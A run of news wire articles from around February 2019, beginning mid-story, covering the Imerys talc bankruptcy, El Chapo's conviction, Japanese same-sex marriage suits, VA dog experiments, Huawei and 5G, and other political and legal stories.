with the Delaware Bankruptcy Court. COMPANY TO ESTABLISH A TRUST Imerys said in court documents it plans to use bankruptcy to establish a trust to pay personal injury claims, a strategy typically used by companies facing asbestos claims. When the company leaves bankruptcy, current and future litigation claims will be channeled to the trust rather than Imerys, which would be freed from future lawsuits over talc. Imerys could finance the trust with the disputed indemnity agreement with J&J and its right to insurance proceeds, which the company estimated could be worth around $700 million. It said it also has a right to an undetermined portion of up to $2 billion of Johnson & Johnson's insurance. However, the company said some of the policies exclude asbestos claims and none of them cover claims in which the first exposure occurred after 1986. In addition, punitive damages are often not covered. Imerys said it could exhaust some of those insurance proceeds within the first half of this year defending cases. Court records show that the defense of a single case can cost $4 million. As a co-defendant with J&J, Imerys has faced at least a dozen U.S. jury trials over allegations that its talc causes ovarian cancer or mesothelioma. While some juries awarded damages as high as $2.75 million against Imerys Talc America, many verdicts were later thrown out on appeal. Imerys and J&J have also won several trials or had cases result in mistrials due to hung juries. The verdicts against the company are all still on appeal and Imerys has not yet paid any of those verdicts. However, the company settled at least four cases before they went to trial for undisclosed amounts. Mark Lanier, a Texas-based lawyer representing many of the talc plaintiffs, on Wednesday said Imerys Talc America's bankruptcy would not change the litigation. "We have always targeted our cases against J&J and Colgate Palmolive, the companies that put the asbestos laced talc into the products," Lanier said. Colgate-Palmolive is another defendant in the U.S. talc litigation. The New York-based company sold Cashmere Bouquet, a cosmetic talcum powder, from 1871 to 1995. Colgate did not respond to a request for comment. It has denied allegations that its talc products cause cancer. (Additional reporting by Tamara Mathias in Bengaluru; Editing Bill Berkrot)



People say fathers and daughters have a special relationship, and apparently that applies to politicians, too.

Take Jody Wilson-Raybould as an example. She is a British Columbia MP who worked her way up through the ranks as a lawyer before entering federal politics with the Liberals. She eventually became Canadas first Indigenous attorney general, a post she held for more than three years.

Now, the former justice ministers father is fervently defending his daughter amid a growing political controversy. Speaking Tuesday on CBC News Networks Power and Politics, Bill Wilson claimed his daughter was kicked in the teeth by the prime minister when she was demoted in a January cabinet shuffle.

That was a clear slap in the face for all Indians across the country, Wilson said. The only thing lower than veterans affairs is Indian affairs, and so for all Indians across the country, that was a real slight.

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Wilson-Raybould has been all over the news this week after she resigned her post as minister of veterans affairs. Her departure from Prime Minister Justin Trudeaus cabinet appears to have given legs to an explosive newspaper report.

The Globe and Mail reported last Thursday the Prime Ministers Office (PMO) allegedly pressured Wilson-Raybould (while she was justice minister) to intervene in the case of SNC-Lavalin to help them avoid a criminal prosecution on charges of fraud and corruption by offering a remediation agreement.

The prime minister has denied the allegations on the day they were published, referring to them as false. Days later, he said the fact that Wilson-Raybould was still in cabinet spoke for itself  right before she resigned.

In her resignation letter, Wilson-Raybould said she was seeking legal advice from Thomas Cromwell, a former Supreme Court justice, on what she can or cannot reveal publicly.

The issue of solicitor-client privilege is not a simple one, Trudeau told reporters Monday. He added that he asked his new justice minister, David Lametti, to look into the matter of solicitor-client privilege and report back with recommendations on how to move forward with what.

Story continues





Its not like Jody to be muzzled in any manner. Shes a very strong-willed, talented individual, Wilson told Global News. Im ashamed of what the prime minister has done to my daughter. But Im also ashamed, if these allegations prove out, [of] what hes doing to this country and how we govern ourselves.

Wilson weighed in on his daughters situation on Facebook the same day the allegations were published.

History will prove that she did the right thing.  Her DEMOTION makes sense now , UGLY POLITICAL SENSE.  Good for you JODY !!  MUM would be proud of you. I AM PROUD OF YOU !!!!

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Three days later, Wilson commented again.

THE EMPEROR HAS NO CLOTHES  JODY was demoted because she would not play ball with the Big Boys who run the Liberal Party. Big industry & jobs threatened by honesty and integrity? Where have I heard this before?

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When asked this week how he thinks the prime minister has handled this matter, Wilson didnt hold back.

Shamefully. Stupidly, he told Global News. It disgusts me. No one should be treated this way. And especially somebody who is representative, whether she wants to be or not, of Aboriginal people, being treated and kicked in the face the way we always have been. By his father, now by him, the Conservatives and all the other governments. Ridiculous.

Wilson was a First Nations chief in British Columbia when he had a direct exchange with then-prime minister Pierre Trudeau during a 1983 Constitutional conference on native issues. Wilson told the elder Trudeau he had two girls living on Vancouver Island who had dreams of becoming a lawyer and eventually prime minister.

Tell them Ill stick around until theyre ready, the elder Trudeau said.

There were laughs in the crowd. More than 35 years later, there seems to be less laughter now.Joaquin Guzman's trial began in November, after he was sent from Mexico to a New York court - Mexican Federal Government

Joaquin "El Chapo" Guzman, the world's most notorious drug kingpin, is expected to spend the rest of his life in a US jail after being convicted of running a criminal enterprise that amassed him a $14 billion (11 billion) fortune.

Guzman, 61, showed no emotion as a jury in New York on Tuesday found him guilty of 10 drug-related charges. He will be sentenced on June 25, and will face a mandatory life term.

After the verdicts were read the Mexican drug lord, dressed in a a charcoal suit and tie, leaned back in his chair and looked at his wife Emma Coronel, 29, a beauty queen. Both placed their hands on their hearts and gave each other a thumbs up. She had tears in her eyes.

The jury of five men and seven women, who have been under special protection since the trial began in November, deliberated for six days.

During the trial they heard allegations of gruesome murders, guns encrusted with diamonds or plated with gold, cocaine hidden in jalapeno cans, and a naked escape by Guzman with a mistress through a tunnel.

Prosecutors presented what they called an "avalanche" of evidence showing how Guzman, and his murderous Sinaloa cartel, made billions of dollars in profits by smuggling tons of cocaine, heroin, methamphetamine and cannabis into the US.

It was moved through secret border tunnels, flown to hidden airstrips, stashed in trucks, under cars, in train carriages, and even in small submarines.

The court heard an allegation that Enrique Pena Nieto, the former Mexican president, took a $100 million bribe from Guzman. Mr Pena Nieto denied it.

Jurors were also told of Guzman's personal brutality. On one occasion he was alleged to have kidnapped an associate who left his cartel, beating and shooting him, before having the victim buried alive.

A cast of 56 witnesses, many of them Mexican drug traffickers already in US prisons, gave evidence against him.

A courtroom sketch of Emma Coronel, the drug lord's wife Credit: Reuters

They included a Colombian known as Chupeta, or Lollipop, whose face had been so altered by plastic surgery while on the run that the court collectively gasped at his appearance.

Story continues

One of Guzman's many mistresses, Lucero Guadalupe Sanchez Lopez, told how she was in bed in a safe house with the drug lord when he was in hiding in 2014.

Mexican marines broke down the door but Guzman led her to a trap door beneath a bathtub, which led to an escape tunnel. "He was naked. He took off running," she told the court.'

Guzman's nickname translates as "Shorty" and refers to his 5ft 6ins height.

He was born Joaquin Guzman Loera and grew up in poverty in rural Mexico before ascending to run the Sinaloa cartel, becoming the world's most notorious drug baron since Pablo Escobar, the Colombian who was shot dead by police in 1993.

Guzman's status in Mexican folklore was cemented by two prison escapes. In 2001 he broke out of a Mexican jail by hiding in a laundry bin.

Then, in 2014, he fled jail through a mile-long lighted tunnel which his associates had fitted with a motorcycle on rails.

He was arrested again in 2016 and extradited to the US the following year.

Guzman will be held in a maximum-security prison in the US to avoid the jailbreaks that embarrassed the Mexican government.

At his trial he declined to give evidence in his own defence. The jury only heard his voice, which was described as "sing-songy," in recordings of telephone calls he had made.

The defence case lasted only 30 minutes as his lawyers claimed he was a scapegoat for another drug lord still at large.

Jeffrey Lichtman, his lawyer, said the government had set out to "just get Chapo" and the defence had "left it all on the battlefield".

Prosecutors in the US will now try to seize some of the billions of dollars Guzman made.



Jeremy Lin is apparently ready to hit the court with the Toronto Raptors, even if he has yet to sign his new contract.

The soon-to-be Raptor has taken to Instagram to announce that hell be wearing No. 17 when he officially signs with Toronto. And hes apparently got the blessing of the beloved former Raptor who recently wore that number.

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The former Hawk confirms in the comments section of his IG post that he contacted Jonas Valanciunas in order to get permission to wear the number, which is a classy move but not entirely necessary. JV will always be a fan favourite north of the border, but seeing that his No. 17 has not been retired by the organization, it was simply up for grabs.

Lin is expected to clear waivers on Wednesday at 5 p.m. EST, which would allow him to sign with the Raptors and potentially suit up for Wednesday nights home game against Washington. Toronto could surely use Lin in the lineup, serving as the primary playmaker off the bench while Fred VanVleet is sidelined for at least the next three weeks with an injured thumb.

More Raptors coverage on Yahoo Sports



Tokyo (AFP) - Chizuka Oe and Yoko Ogawa have been together for 25 years, but when they submitted their marriage registration at a Tokyo town hall, they knew it would be rejected.

"We were told that they cannot accept our registration because we are both women," said Ogawa, standing in the winter sun outside the building in Nakano in western Tokyo.

"There were several heterosexual couples next to us who submitted marriage registrations without any problem," she added.

The couple is now planning to take action: Along with 12 other same-sex couples, they will file lawsuits on Valentine's Day seeking to force the government to recognise gay marriage.

"Why don't we even have the simple choice of whether or not to get married?" asked Ogawa, who said she and Oe were forced to wait a long time before ultimately being turned down.

The five lesbian and eight gay couples involved will file lawsuits across the country seeking damages of one million yen ($9000) a person for being denied the same legal rights as heterosexual couples.

Japan's constitution stipulates that "marriage shall be only with the mutual consent of both sexes" and the government says this means same-sex marriage is "not foreseen" in the constitution or civil law.

But lawyers for the plaintiffs and other legal experts counter that there is nothing in the constitution that would prohibit same-sex marriage.

They argue the language of the 1947 post-war constitution is only meant to ensure equality between prospective spouses and prevent forced marriages.

The government's failure to enact a law allowing same-sex marriage violates the constitutional principle that "all people are equal under the law," said Akiyoshi Miwa, who is representing some of the plaintiffs.

- 'Agonising' situations -

A survey in January found nearly 80 percent of Japanese aged 20 to 59 support legalising gay marriage.

Japan is the only nation from the Group of Seven countries that does not recognise same-sex unions.

Story continues

Historically, Japan was broadly tolerant of homosexuality, with documented cases of samurai warriors during feudal times having male lovers.

Same-sex relationships were even depicted in traditional art, such as ukiyoe, or wood block prints.

But as Japan industrialised and modernised from the late 19th century, Western prejudices against homosexuality were increasingly adopted.

Last year, the ruling party came under fire after one of its lawmakers claimed the lesbian, gay, bisexual and transgender (LGBT) community was "unproductive" because they "cannot have children."

And Oe and Ogawa say they have struggled with confusion and prejudice stemming in part from Japan's lack of marriage equality.

When the couple attended the funeral for Ogawa's mother, relatives treated Oe with suspicion, particularly when she handled condolence money.

Ogawa said many relatives quizzed her on who Oe was.

She explained: "I was tired, sad, and in such an extreme situation it was agonising to explain that we are a lesbian couple, that we are the same as a regular heterosexual couple."

"If there was a legal system of same-sex marriage, it would have been easier," she added.

- 'A key goal' -

In a landmark advance in 2015, Tokyo's bustling Shibuya district started issuing symbolic "partnership" certificates to same-sex couples.

Some other local governments -- including in the area where Oe and Ogawa live -- have followed suit, and corporate Japan is also showing signs of moving toward recognising same-sex couples.

The certificate confers some rights: when Oe was hospitalised last year and needed a family member's signature, Ogawa was able to sign.

But not all gay couples in Japan live in areas with such certificates, meaning they can be prevented from visiting loved ones in hospitals or refused tenancy because their relationship is not legally recognised.

And the certificates "fail to give various legal rights and benefits that a marriage gives, such as inheritance and joint custody," said Takako Uesugi, another lawyer for the plaintiffs.

Only one partner in a same-sex couple is considered the legal parent of any children they share because gay marriages are not recognised so joint custody is considered impossible.

And a foreigner in a same-sex relationship with a Japanese partner cannot apply for spousal visas like their counterparts in heterosexual marriages.

The Valentine's Day lawsuits will seek damages, but the couples and their lawyers say they are ultimately hoping to force a change in the law.

"What we really want is a court ruling that says the failure to recognise same-sex marriage is unconstitutional," said Miwa.Cryptocurrency exchange Coinbase has been threatened with a lawsuit by an Israeli civil rights NGO Shurat HaDin (Israel Law Center) if it continues to allow Hamas to fundraise via its platform, The Jerusalem Post reports.

Shurat HaDin now wants Coinbase to stop offering services to the Palestinian fundamentalist organization Hamas. The United States, where Coinbase is headquartered, views Hamas as a Foreign Terrorist Organization. The warning came in a letter sent to the cryptocurrency exchange by the NGO:

It has recently come to our attention that the notorious Palestinian terrorist group Hamas currently maintains an account with Coinbase, Inc. (Coinbase), through which it is accepting donations. Therefore, I am writing to notify Coinbase that knowingly providing material support or resources to Hamas is a violation of U.S. federal criminal law, and to demand that Coinbase immediately terminate any and all accounts and services provided to Hamas.

Has Hamas Flouted Coinbases Terms of Service?

Going by Coinbases terms of service (ToS), Hamas may indeed have breached the user agreement. As an organization which has engaged in acts of terror, this is a violation of Coinbases ToS. The ToS warns users against utilizing the service in the promotion of violent crimes.

Read the full story on CCN.com.Tehran (AFP) - Iranian Foreign Minister Mohammad Javad Zarif said Wednesday that a two-day conference being co-hosted by Washington in Warsaw on Iran and the Middle East was "dead on arrival".

"It is another attempt by the United States to pursue an obsession with Iran that is not well-founded," Zarif told a Tehran news conference.

"The Warsaw conference, I believe, is dead on arrival."

Zarif said not even Washington had any interest in the conference as a forum for an exchange of views among the 60 participating countries.

"I think the fact that they are not aiming to issue any agreed text but rather are just attempting to use their own statement on behalf of everybody else shows they don't have any respect for it themselves," he said.

"You usually don't bring 60 countries and states together in order to speak for them. That indicates to you that they don't believe they have anything to gain from this meeting."

Zarif said most of the states going to the conference were doing so due to pressure from the United States.

"They used their money, they used their influence, they used the military might of the United States," he said.

"They used the leverage they have with various countries in order to attract more people to this conference.

"Many (countries) going there have told us that (they) don't have any other choice," the foreign minister added.

Iran's supreme leader Ayatollah Ali Khamenei also spoke out against the conference, citing it as an example of US failure against the Islamic republic.

"Today they feel they need a coalition of dozens of hostile or daunted states to confront the Islamic republic politically and militarily," his official website quoted him as saying, adding that they would fail.

Much of the schedule for the conference remains vague amid deep divisions over policy towards the region, where Washington has adopted the deep hostility towards Iran of its allies Israel and Saudi Arabia.

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Washington will be represented by both Vice President Mike Pence and Secretary of State Mike Pompeo, but major European allies are sending low-profile delegations amid unease over President Donald Trump's strident calls to strangle Iran's economy.

The main session will take place on Thursday when Pence, Pompeo and Israeli Prime Minister Benjamin Netanyahu are all scheduled to address the conference.

Netanyahu, who has vowed to keep striking Iranian forces until they leave war-torn Syria and has not ruled out a military strike to destroy Iran's remaining nuclear facilities, is likely to deliver a fiery address.

But outside of Israel, Iran's Arab rivals and the Trump administration, nearly all countries still back an accord negotiated under previous US president Barack Obama under which Iran agreed to accept tight limits to its nuclear activities in return for the easing of crippling economic sanctions.Dana Abdullaha dmitted murdering his wife after she refused to support his application to remain in the UK (PA)

An Iranian immigrant faces jail after he admitted murdering his wife after she refused to support his application to remain in the UK.

Dana Abdullah used a kitchen knife to stab mother-of-four Avan Najmadeen multiple times before covering her body in a solvent on October 1.

The 35-year-old, who claimed to have been tortured in Iraq, then washed the weapon in the sink and put it back where he found it, a court heard.

The couple shared the same immigration solicitor and, after finding out Ms Najmadeen had asked the lawyer on September 28 not to co-operate with his application, Abdullah left her to die at her home in Glebedale Road, Fenton, Stoke-on-Trent.

Mother-of-four Avan Najmadeen was stabbed multiple times over three days (PA)

The turpentine-based substance and the 32-year-old victims mobile phone were not recovered from the scene.

Stafford Crown Court heard Ms Najmadeen had deliberately moved address on a number of occasions so the defendant did not know where she was living.

Following proceedings through a Kurdish interpreter, Abdullah, of no fixed address, spoke only to confirm his name and his guilty plea.

MORE: Rare tiger dies during fight at Longleat Safari Park  a week after tiger death at London Zoo

MORE: Residents near Tate Modern who complained visitors can see through their windows are told: Try closing blinds

A previous hearing at the same court was told Abdullah had claimed he suffered from PTSD after being tortured in Iraq.

Prosecutor Andrew Smith QC said: The Crowns case is this was a planned, pre-meditated killing  the reasons being she did not support his case in relation to immigration.

A knife in the kitchen had been used, washed, and put back.

Abdullah admitted murder at Stafford Crown Court (Wikipedia)

During the 30-minute hearing on Tuesday, Judge Michael Chambers QC said: The defendant had made a considered decision to murder his wife and had gone there to do that.

Abdullahs defence barrister Charles Miskin QC conceded it was not in dispute that it was a planned killing.

Adjourning sentence until April 1 at the same court, the judge told Abdullah: You have had the courage to plead guilty to this matter and will get appropriate credit for that in due course.

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Sentencing has been adjourned until April 1.

Watch the latest videos from Yahoo UKThe Hague (AFP) - The International Court of Justice (ICJ) ruled Wednesday that Iran can proceed with a bid to recover billions of dollars in frozen assets the United States says must go to victims of attacks blamed on Tehran.

Judges of the UN's top court rejected US claims that the case should be thrown out because Iran had "unclean hands" due to alleged links to terrorism, and that the tribunal in The Hague did not have jurisdiction in the lawsuit.

The court will hold further hearings to decide whether Iran can get back $2 billion frozen by the US Supreme Court in 2016.

Abdulqawi Ahmed Yusuf, the chief judge at the ICJ, said the court "unanimously rejects the preliminary objections to admissibility raised by the United States of America".

The court also "finds that it has jurisdiction" to rule on the case, which was filed by Iran in 2016, Yusuf said at the end of an hour-long reading of the judgment.

Iran said the freezing of the funds breached the 1955 Treaty of Amity with the United States, an agreement signed before Iran's 1979 Islamic Revolution severed relations between the countries.

The US Supreme Court had said Iran must give the cash to survivors and relatives of victims of attacks blamed on Tehran, including the 1983 bombing of a US Marine barracks in Beirut.WASHINGTON  The inspector general at the Department of Veterans Affairs has launched an investigation of fatal research experiments on dogs at the agency as lawmakers renew a push to stop the tests  an effort endorsed by Lara Trump.

VA Inspector General Michael Missal told lawmakers in a letter obtained by USA TODAY that he is reviewing whether VA officials continued the experiments in violation of a law passed last year placing restrictions on the testing.

The investigation comes as nearly a dozen lawmakers fired off a letter Monday to VA Secretary Robert Wilkie asking him to suspend the experiments until a study by the National Academy of Sciences on the need for dogs as research subjects is finished. More than 50 House lawmakers from both parties also have signed on to legislation being introduced Wednesday that would stop the invasive and fatal experiments altogether.

Studies currently being conducted by VA researchers in Richmond, Virginia, and Cleveland, Ohio, involve surgeries on dogs' hearts and spines that the VA says could produce discoveries to help veterans suffering from cardiac, spinal cord or breathing problems.

But the lawmakers contend the experiments havent produced breakthroughs for years, and options such as computer models could be used instead.

Technology evolves faster than government processes, and the result at the VA has been that we have neglected technologies that would give us testing information so that we can continue painful animal testing, and thats silly, said Rep. Matt Gaetz, R-Fla.

I understand both sides of the issue very well, said Rep. Brian Mast, R-Fla., a veteran who lost both his legs in Afghanistan. As somebody thats needed different medical technology, I understand whats trying to be replicated here, but for me, I think that that should be considered a bridge too far for our VA.

Their efforts have drawn support from Lara Trump, wife of Eric Trump and a senior adviser to her father-in-laws re-election campaign, who called the experiments "cruel and ineffective."

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"Im encouraged by the advocacy of lawmakers like Congressmen Brian Mast and Matt Gaetz for leading on this issue and in particular introducing the ... legislation to end this program, she said in comments provided exclusively to USA TODAY.

She praised the president for signing the law restricting the testing last year, and said there is now great opportunity afoot to protect veterans health, all while encouraging the VA to allocate funds and resources towards important programs that will truly benefit our veterans.

VA touts medical advances

VA officials said in a statement that the experiments comply with animal-welfare regulations, and have contributed to significant medical breakthroughs, including the implantable cardiac pacemaker and successful liver transplants. More recently, they said VA dog research contributed to human clinical trials using electrodes to restore cough function in people paralyzed by spinal cord injuries.

This important advancement would not have been possible using computer simulations, test tube techniques, organ on a chip technology or smaller animal species, Michael Fallon, chief veterinary officer at the VA, said in the statement. VA has very few canine studies active at any one time, but some problems like this one can be addressed only with canine research, underscoring the importance of this kind of research in helping veterans who have been severely injured on the battlefield.

The medical experiments have touched off heated debate among lawmakers, veterans and VA officials in recent years after news reports revealed VA researchers in Richmond had botched surgeries on the dogs.

The VA tightened oversight on the experiments following that revelation in 2017, and critics of the testing got some support last year from the former VA secretary, David Shulkin, who said he wanted to phase out the dog experiments and wouldnt approve any new ones.

But his successor, Wilkie, said in December that the tests would continue under his watch, and he planned to approve new tests that might help veterans until somebody tells me that research is not helping that outcome.

The VA inspector general is investigating whether the VA experimenting between Shulkins departure in March and Wilkies approval of them in December violated the law Trump signed last year. That legislation required that the dog studies be directly approved by the VA secretary.

Shulkin told USA TODAY last fall he delegated that responsibility to the agencys research specialists.

But VA officials say he signed off on the continuing experiments orally on March 28 at an afternoon meeting with four senior VA executives just hours before Trump fired him by tweet.

VA spokesman Curt Cashour said VA officials welcome oversight from the inspector general and hope, for (Shulkins) sake, that he will tell the truth.

Experiments closed out

Rep. Dina Titus, D-Nev., who asked the inspector general to look into what happened and is a lead co-sponsor of the legislation to stop the experiments, told USA TODAY she believes VA officials tried to pull off a fast shuffle between Shulkin and other appointees who led the agency during the transition.

Now weve got the inspector general looking into whats going on at the VA, she said. Theyve had plenty of time to clean up their act; now were going to hold their feet to the fire.

Titus noted that even as the agency has maintained the necessity of using dogs in the invasive experiments, the VA itself has closed some of them down.

VA documents show that five studies are currently being performed at two facilities  down from 13 at six facilities a few years ago. The VA shut down two dog experiments in Los Angeles, one after researchers determined mice could be used instead of dogs. They found one in Milwaukee could use pigs, and others there stopped when the lead researcher retired. Those experiments included removing sections of dogs brains to test neurons that control breathing before the animals were killed by lethal injection.

In Cleveland, the remaining experiment involves using electrodes on dogs spinal cords to measure cough reflexes before and after severing the cords. The current studies in Richmond, Virginia, include implanting pacemakers in dogs, then inducing abnormal heart rhythms and running the animals on treadmills to test cardiac function before euthanizing them by injection or draining their blood.

The VA said the work in Cleveland contributed to the recent breakthrough on cough restoration, while experiments in Richmond have helped researchers understand links between heart rate irregularity and heart disease.

Opponents of the experiments at White Coat Waste Project, a group that has been pushing to end the testing for years, asserted those studies are outdated. Justin Goodman, vice president of advocacy and public policy at the organization, said he finds it perplexing that the VA, is continuing to double down on a wildly opposed practice that its actually winding down.

The VA is really its own worst enemy at this point, Goodman said.

More: New VA secretary rejects call to suspend fatal dog experiments, says they may help veterans

More: VA: Fatal dog experiments moving ahead despite criticism from Congress, veterans groups

More: VA tightens oversight after outrage over conducting experiments on dogs, then killing them

This article originally appeared on USA TODAY: Inspector general probes fatal VA dog experiments as Lara Trump endorses push to stop themStricter security measures remained in effect in Lanao del Norte province in anticipation of potential adverse response in the aftermath of the defeat of the Yes votes in the recent plebiscite of the Bangsamoro Organic Law ((BOL). Philippine National Police Chief Oscar Albayalde said police forces that successfully enforced a violent-free BOL elections, will, however, remain in their posts to respond to any possible incidents arising from adverse reactions from losing parties pushing for the ratification of BOL in Lanao del Norte. Remember No votes won because basically Lanao is a Christian-dominated province, thats why we are looking of probable reactions, although as of this time we are not monitoring any, Albayalde said. The entire province of Lanao del Norte voted against the inclusion of its six municipalities--- Balo-I, Pantar, Tagoloan, Munai, Tangkal and Nunungan in the Bangsamoro Autonomous Region in Muslim Mindanao (BARMM). Asked if Lanao del Norte is still a concern, Albayalde said Yes, this is based on the recommendation of the regional commander suggesting the presence of stay behind forces in the province. He, however, declined to give the exact number of policemen still posted in different areas in Lanao del Norte mandated to maintain peace and order after the defeat of the Yes votes.They were there just to maintain peace and order, just to ensure the peace and no one would take advantage, or trouble maker because of no victory, Albayalde said. In line with PNP role in the upcoming May 2019 elections, Albayalde on Tuesday ordered the temporary cancellation of all schooling and training of all policemen so they can render election duties. Schooling of all policemen will be cancelled. They will be made to render election duties, he said adding that policemen on training will also be halted, preparatory for deployment for election duties. Albayalde expressed optimism that the PNP will be able to perform its mandated task to protect voters and polling precincts across the country during the coming elections. We are more than 192,000 or almost 200,000 with the augmentation coming from the Armed Forces of the Philippines. We are confident that we will be able to secure the voting population and all the voting centers in our country, he said.Washington (AFP) - Current and former CBS executives sold shares in the company before sexual harassment allegations against then-CEO Leslie Moonves became public, according to a lawsuit filed in New York, The Wall Street Journal reported.

The suit was presented Monday by shareholders who are asking a judge to give them class action status, the newspaper said.

Named in the lawsuit are Moonves, who resigned in September, acting CEO Joe Ianniello, chief accounting officer Lawrence Liding and former communications chief Gil Schwartz.

The suit alleges that the four men sold more than 3.4 million shares worth over $200 million before CBS announced in July that it would investigate Moonves for alleged sexual harassment.

The complaint was filed by the Construction Laborers Pension Trust for Southern California.

It argued that the timing and amount of the sales "were unusual and suspicious."

The lawsuit says that Moonves sold stock valued at $155.3 million between June 2017 and May 2018 and that during this period CBS knew of media inquiries about sexual harassment allegations against him.

The Journal said CBS and Moonves deny these allegations.

The suit seeks compensatory damages, on grounds that the value of CBS stock was inflated because the company was not forthcoming with shareholders about worries over Moonves and the corporate culture at CBS.In her first committee hearing since apologizing for what were widely condemned as anti-Semitic remarks, Rep. Ilhan Omar, D-Minn., confronted the U.S. special envoy to Venezuela, Elliott Abrams, over his record of support for right-wing governments in Latin America.

Abrams was appearing at a hearing of the House Foreign Affairs Committee titled Venezuela at a Crossroads.

Omar, a freshman, began by pointing out that Abrams had pled guilty in 1991 to two misdemeanor counts of lying to Congress over the Iran-Contra affair, a plot hatched by the Reagan administration to assist rebels trying to overthrow the left-wing government of Nicaragua. Abrams was Assistant Secretary of State for Human Rights and Humanitarian Affairs under Reagan and a key figure in the scandal. He was sentenced to 100 hours of community service for giving false testimony, but was pardoned President George H.W. Bush as Bush was leaving office.

Omar suggested Americans would have reason to doubt Abramss testimony about the United States role in Venezuela.

If I could respond to that, said Abrams.

It wasnt a question, replied Omar.

It was an attack, said Abrams.

Rep. Ilhan Omar, D-Minn. (Photo: Tom Williams/CQ Roll Call)

Venezuela is enmeshed in both an economic crisis and a power struggle between the elected president, Nicolas Maduro, and National Assembly head Juan Guaido. Abrams was appointed special envoy last month by President Trump, who has recognized Guaido as interim president.

Omar then turned to Abramss role in dissembling about a 1981 massacre in El Salvador. Abrams had dismissed the murder of hundreds of residents of the village of El Mozote by Salvadoran army units trained by the U.S. military advisers during a civil war. A 1992 Human Rights Watch report said that Abramss Senate testimony had artfully distorted several issues in order to discredit the public accounts of the massacre.

Abrams later said of the United States that the record in El Salvador is one of fabulous achievement despite evidence later surfacing that the U.S. government had helped hide Salvadoran human rights abuses. When Omar asked if Abrams thought the El Mozote massacre was a fabulous achievement, he refused to answer.

Story continues

That is a ridiculous question and Im not going to respond, said Abrams. I am not going to respond to that kind of personal attack which is not a question.

Yes or no, continued Omar, would you support an armed faction within Venezuela that engages in war crimes, crimes against humanity or genocide if you believed they were serving U.S. interests as you did in El Salvador, Guatemala and Nicaragua?

Activist Medea Benjamin confronts U.S. Special Representative for Venezuela Elliott Abrams prior to a hearing before the House Foreign Affairs Committee, Feb. 13, 2019. (Photo: Alex Wong/Getty Images)

Im not going to respond to that question, Im sorry, said Abrams. I dont think this entire line of questioning is meant to be real questions so I will not respond.

Will you make sure human rights not violated and that we uphold international and human rights? Omar continued.

I suppose theres a question in there, replied Abrams, and the answer is the entire thrust of the American policy in Venezuela is to support the Venezuelan peoples effort to restore democracy to their country. Thats our policy.

I dont think anybody disputes that, said Omar. The question I had for you is that does the interest of the United States include protecting human rights and include protecting people against genocide?

That is always the position of the United States, said Abrams.

The hearing had been disrupted earlier in the day by protesters opposing Abramss appearance.

Omar apologized earlier this week for tweets that made sarcastic reference to the influence of the pro-Israel lobby group AIPAC. President Trump called on her to resign from Congress, or step down from the influential committee.

_____

Read more from Yahoo News:By Anna Koper and Janis Laizans WARSAW (Reuters) - Chinese tech giant Huawei is ready to face any extra security measures required to remain in the race to develop next-generation 5G networks in central and eastern Europe, Andy Purdy, chief security officer at Huawei Technologies USA, said. U.S. Secretary of State Mike Pompeo cautioned allies against using Huawei equipment this week during a trip to the region, saying it would make it more difficult for Washington to "partner alongside them". U.S. Vice President Mike Pence joined Pompeo on Wednesday on a trip to Poland, whose government is considering excluding Huawei from its future 5G network over concerns raised by the United States that the Chinese firm's technology could be used for spying, sources told Reuters in January. "The U.S. government is very persistent, very determined and very forceful in communicating the messages about Huawei," Purdy told Reuters on Wednesday. Huawei was ready to work with governments on any additional measures, such as testing the source codes for products, which could be applied to all suppliers, Purdy said. Chinese Foreign Ministry spokesperson Hua Chunying hit back at Pompeo's remarks on Wednesday, saying the United States was using its state power to suppress Chinese companies' legitimate development rights and interests, according to a report by Chinese state news agency Xinhua. Meanwhile in Germany, Interior Minister Horst Seehofer has backed a proposal to reform the country's telecommunications law to toughen security requirements on foreign network vendors, the RND group of newspapers reported on Tuesday. Seehofer's intervention increases the likelihood that Germany will tighten oversight over Huawei, sidestepping pressure from the United States to exclude it. Government and industry leaders want clarity on the ground rules before Germany embarks on the build out of 5G mobile networks by auctioning spectrum in late March. Purdy said Huawei would play the long game in Poland. "If the government decides to ban us from 5G we will continue to take a long view of the potential sales of our products in Poland over time ... we believe that some day in the future we'll be allowed to compete for that business if we're not allowed to compete for it now," he added. Poland arrested a Chinese employee of Huawei and a former Polish security official in January on spying allegations. Huawei said the next day that the employee had been fired. (Reporting by Anna Koper and Janis Laizans; Additional Reporting by Supriya Roy in Bengaluru; Editing by Alexander Smith and Saumyadeb Chakrabarty)San Francisco (AFP) - Google said Wednesday it will invest $13 billion in US data centers and offices this year as the internet giant continues to expand across the country.

The spending will build on more than $9 billion in US investments in the past year and should create the potential for tens of thousands of new jobs, according to chief executive Sundar Pichai.

"This growth will allow us to invest in the communities where we operate, while we improve the products and services that help billions of people and businesses globally," Pichai said in an online post.

"Our new data center investments, in particular, will enhance our ability to provide the fastest and most reliable services for all our users and customers."

Investments this year will focus outside of Silicon Valley where Google has its home, and give the company outposts in 24 states.

This will be the second year in a row that Google will "be growing faster outside the (San Francisco) Bay Area than in it," Pichai said.

Google last year hired more than 10,000 people in the US, according to the company.

The internet giant is also making significant investments in renewable energy to power US operations, Pichai said.

The move follow major investments or expansions from other US tech giants including Apple and Amazon, both moving beyond their existing headquarters.

Google's parent company Alphabet last year said it was investing more than $1 billion to set up a new campus in New York City.Berlin (AFP) - Three alleged former Syrian secret service officers have been arrested in Germany and France on suspicion of participating in torture and crimes against humanity, prosecutors in both countries said Wednesday.

All three were arrested on Tuesday in a "coordinated" operation by German and French police, the federal prosecution in the German city of Karlsruhe said.

Anwar R., 56, and 42-year-old Eyad A. were detained in Berlin and Rhineland-Palatinate state, prosecutors said. Both left Syria in 2012.

The same day, another Syrian was detained in the Paris region for "acts of torture, crimes against humanity and complicity in these crimes", the Paris prosecutor's office said.

The suspect, who is in his 30s, is accused of participating in acts of violence against civilians from March 2011 until 2013 when he worked for Syria's mukhabarat, or secret service, a source familiar with the case said.

The Syria conflict began in March 2011 with a series of mass protests demanding civil liberties, prompting a harsh crackdown by the regime which quickly began using "brutal force" against anti-government protesters, German prosecutors said in a statement.

"The Syrian secret services played an essential role in this. The aim was to use the intelligence services to stop the protest movement as early as possible."

Anwar R. allegedly led a secret service division that operated a prison in the Damascus area, and had participated in the torture and abuse of prisoners from April 2011 to September 2012.

"As head of the investigative department, Anwar R. directed and commanded prison operations, including the use of systematic and brutal torture," it said.

- Torture, death in custody -

Eyad A., a former officer who had manned checkpoints and hunted protesters, had allegedly aided and abetted two killings and the physical abuse of some 2,000 people between July 2011 and January 2012.

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In the summer of 2011, he manned a checkpoint near Damascus where around 100 people per day were arrested then jailed and tortured in the prison headed by Anwar R.
